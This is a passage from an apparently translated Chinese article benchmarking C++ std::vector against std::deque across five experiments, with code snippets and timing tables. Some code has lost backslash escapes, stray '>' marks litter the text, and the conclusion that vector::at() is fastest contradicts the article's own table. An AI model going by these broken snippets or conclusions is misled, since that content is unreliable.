else if(iMode == FM_DEQUE)
m_dData.push_back(buff);
}
inFile.close();
}
virtual ~CVectorDequeTest();
protected:
std::vector<std::string> m_vData;
std::deque<std::string> m_dData;
};
结果
测试程序运行的平台和一些条件:
CPU
1.8 GHz Pentium 4
内存
1.50 GB
操作系统
W2K-SP4
文件中的行数
9874
平均每行字母个数
1755.85
读文件的次数
45
总共插入的数据个数
444330
使用Windows任务管理器来记录执行效率,本程序中使用了Laurent Guinnard 的CDuration类。消耗系统资源如下图:
注意在vector分配内存的最高峰,vector在分配内存的时候是怎样达到最高值,deque就是这样的,它在插入数据的同时,内存直线增长,首先deque的这种内存分配单元进行回收的话,存在意想不到的后果,我们希望它的分配内存看上去和vector一样,通过上面的测试我们需要进一步的测试,现提出一个假设:假设deque分配的内存不是连续的,一定需要释放和收回内存,我们将这些假设加入后面的测试中,但是首先让我们从执行的性能
表分析一下这个实验。
究竟分配内存需要消耗多久?
注意看下面这张图片,vector在不插入数据的时候在进行寻求分配更多内存。
同时我们也注意到使用push_back插入一组数据消耗的时间,注意,在这里每插入一组数据代表着9874个串,平均每个串的长度是1755.85。
实验二—— vector::reserve()的资源
目的
这个实验的目的是vector在加入大量数据之前调用reserve(),和deque进行比较,看它们的内存分配和执行效率怎么样?
描述
本实验中的测试基本上和实验一相同,除了在测试类的构造函数中加入下面这行代码:
m_vData.reserve(1000000);
结果
测试程序运行的平台和一些条件:
CPU
1.8 GHz Pentium 4
内存
1.50 GB
操作系统
W2K-SP4
文件中的行数
9874
平均每行字母个数
1755.85
读文件的次数
70
总共插入的数据个数
691180
使用Windows任务管理器来记录执行效率,本程序中使用了>Laurent Guinnard 的CDuration类。消耗系统资源如下图:
我们注意到vector不在需要分配花费多余的时间分配内存了,这是由于我们使用了reserve()对于所测试的>691180个数据为我们每一次插入大量数据的时候保留了足够的内存空间,对于deque存储分配的假设,观察这个测试中的内存分配图形和上一个图形,我们需要进一步量化这个测试。
怎样改良内存分配的性能呢?
下面这个图例说明随着数据的增加,容量在增加:
当增加数据的时候对容量的增加在vector和deque执行效率基本一样,然而,vector在插入数据的时候有一些零星的时间消耗,看下面的图例:
通过统计分析vector和deque在插入平均为>1755.85长度的>9874个数据所花费的时间,下面是总结的表格:
Vector
Deque
Mean
0.603724814 sec
Maximum
0.738313000 sec
Minimum
0.559959000 sec
Std. Dev
0.037795736 sec
6-Sigma
0.226774416 sec
Mean
0.588021114 sec
Maximum
0.615617000 sec
Minimum
0.567503000 sec
Std. Dev
0.009907800 sec
6-Sigma
0.059446800 sec
实验三——内存回收
目的
本实验是对假设deque分配的内存不是临近的,而且很难回收进行量化测试分析。
描述
在本实验中再次用到了实验一中的代码,在调用函数中加入记录增加数据执行的效率具体入下面操作:
for(xRun=0; xRun<NUMBER_OF_XRUNS; xRun++)
{
df = new CVectorDequeTest;
elapsed_time = 0;
for(i=0; i<NUMBER_OF_RUNS*xRun; i++)
{
cout << "Deque – Run " << i << " of " <<
NUMBER_OF_RUNS*xRun << "… ";
df->ReadTestFile("F:\huge.csv",DF_DEQUE);
deque_data.push_back(datapoint());
deque_data.back().time_to_read = df->GetProcessTime();
elapsed_time += deque_data.back().time_to_read;
deque_data.back().elapsed_time = elapsed_time;
cout << deque_data.back().time_to_read << " secondsn";
}
vnElements.push_back(df->GetDequeSize());
cout << "nnDeleting… ";
del_deque.Start();
delete df;
del_deque.Stop();
cout << del_deque.GetDuration()/1000000.0 << " seconds.nn";
vTimeToDelete.push_back(del_deque.GetDuration()/1000000.0);
}
结果
本测试和上面两个实验在相同的平台上运行,除了插入的数据由>9874到>691180,需要插入>70次,下面图例显示了>deque在插入数据的时候分配内存的情况,在deque里插入了平均每个长度为>1755.85的字符串。>
尽管从几个曲线图中看到的实际消耗时间不同,但些曲线图都精确到了>R2=95.15%。所给的数据点都实际背离了下表中统计的曲线图数据:
deque Results
Mean
0.007089269 sec
Maximum
11.02838496 sec
Minimum
-15.25901667 sec
Std. Dev
3.3803636 sec
6-Sigma
20.2821816 sec
在相同的情况下比较vector的结果是非常有意义的。下面图就是将vector和deque在相同的情况下分配内存消耗的时间比较图:
这些数据在这个测试中是>R2=82.12%。这或许可以经过每个点反复运行得到更加优化,在这个问题中这些数据适当地标注了这些点,所给的数据点都实际背离了下表中统计的曲线图数据:
vector Results
Mean
-0.007122715sec
Maximum
0.283452127 sec
Minimum
-0.26724459sec
Std. Dev
0.144572356sec
6-Sigma
0.867434136sec
实验四—— vector::insert() 和 deque::insert() 执行特点比较
目的
deque主张使用参数为常量的insert()。但怎么样能和vector::insert()比较一下呢?本实验的目的就是比较一下vector::insert()> 和 deque::insert()的工作特点。
描述
在容器的容器多次插入数据,在这里可能不符合你的需求,既然这样你可以使用insert(),试验代码也和实验一基本一样,使用insert()代替push_back(),使用insert(>)来测试。
结果
当插入常量给deque的时候,从下图可以看出和vector的对比来。
注意两张图片中时间轴的不同,这是将>61810个数据插入到容器中。
实验五——读取容器的性能
目的
这个实验将测试vector::at(),vector::operator[],deque::at()和deque::operator[]的性能。首先应该是operator[]比at()效率要高,因为它不进行边界检查,同时也比较vector和deque。
描述
这个实验将测试中的容器有1000000个类型为std::string,每个字符串长度为1024的数据,分别使用at()和operator[]这两个操作来访问容器容器的数据,测试它们运行的时间,这个测试执行50次,统计每次执行的结果。
结果
我们看到使用vector和deque访问容器中的数据,他们执行的性能差别很小,使用operator[]和at()访问数据的性能差别几乎可以忽略不计,下面是统计的结果:
vector::at()
Mean
1.177088125sec
Maximum
1.189580000sec
Minimum
1.168340000sec
Std. Dev
0.006495193sec
6-Sigma
0.038971158sec
deque::at()
Mean
1.182364375sec
Maximum
1.226860000sec
Minimum
1.161270000sec
Std. Dev
0.016362148sec
6-Sigma
0.098172888sec
vector::operator[]
Mean
1.164221042sec
Maximum
1.192550000sec
Minimum
1.155690000sec
Std. Dev
0.007698520sec
6-Sigma
0.046191120sec
deque::operator[]
Mean
1.181507292sec
Maximum
1.218540000 sec
Minimum
1.162710000sec
Std. Dev
0.010275712sec
6-Sigma
0.061654272sec
结论
在这篇文章中我们覆盖了多种不同的情况来选择我们到底是该使用vector还是deque。让我们总结一下测试的结果看下面几个结论。
当执行大数据量的调用push_back()的时候,记住要调用vector::reserve()。
在实验一中我们研究了vector和deque在插入数据的情况。通过这些假设,我们可以看出deque分配的空间是预先分配好的,deque维持一个固定增长率,在vector实验中我们考虑到应该调用vecor::reserve()>.然后在下面这个例子验证了我们的假设,在使用vector的时候调用reserve()能够膀子我们预先分配空间,这将是vector一个默认选择的操作。
当你分配很多内存单元的时候,记住使用deque回收内存要比vector消耗时间多。
在实验三中我们探讨了vector和deque在回收非邻接内存块上的不同,分别证明了vector在分配内存的时候是线性增长,而deque是指数增长,同样,vector要回收的内存比deque多的多,如果你循环调用了push_back(),那么deque将获取大量的内存,而且是临近的。我们通过测试发现在分配内存单元消耗的时间和vector的时间接近。
如果你计划使用insert(),或者需要pop_front(),那就使用deque。
由于vector没有提供pop_front()函数,但在实验四的结果中可以看出没有insert()是非常好的,同时也告诉我们为什么deque在STL类中要作为单独的一个类划分出来。
对于访问数据,vector::at()效率最高。
在实验五中统计的数据表示,所有访问数据方法的效率是非常接近的,但是vector::at()效率最高。这是因为最优的平衡图访问时间为最低的六个西格玛值。
最后
我希望本文能够带你认识deque,而且对它感兴趣或者一个启发,欢迎继续讨论关于vector和deque任何问题和内容。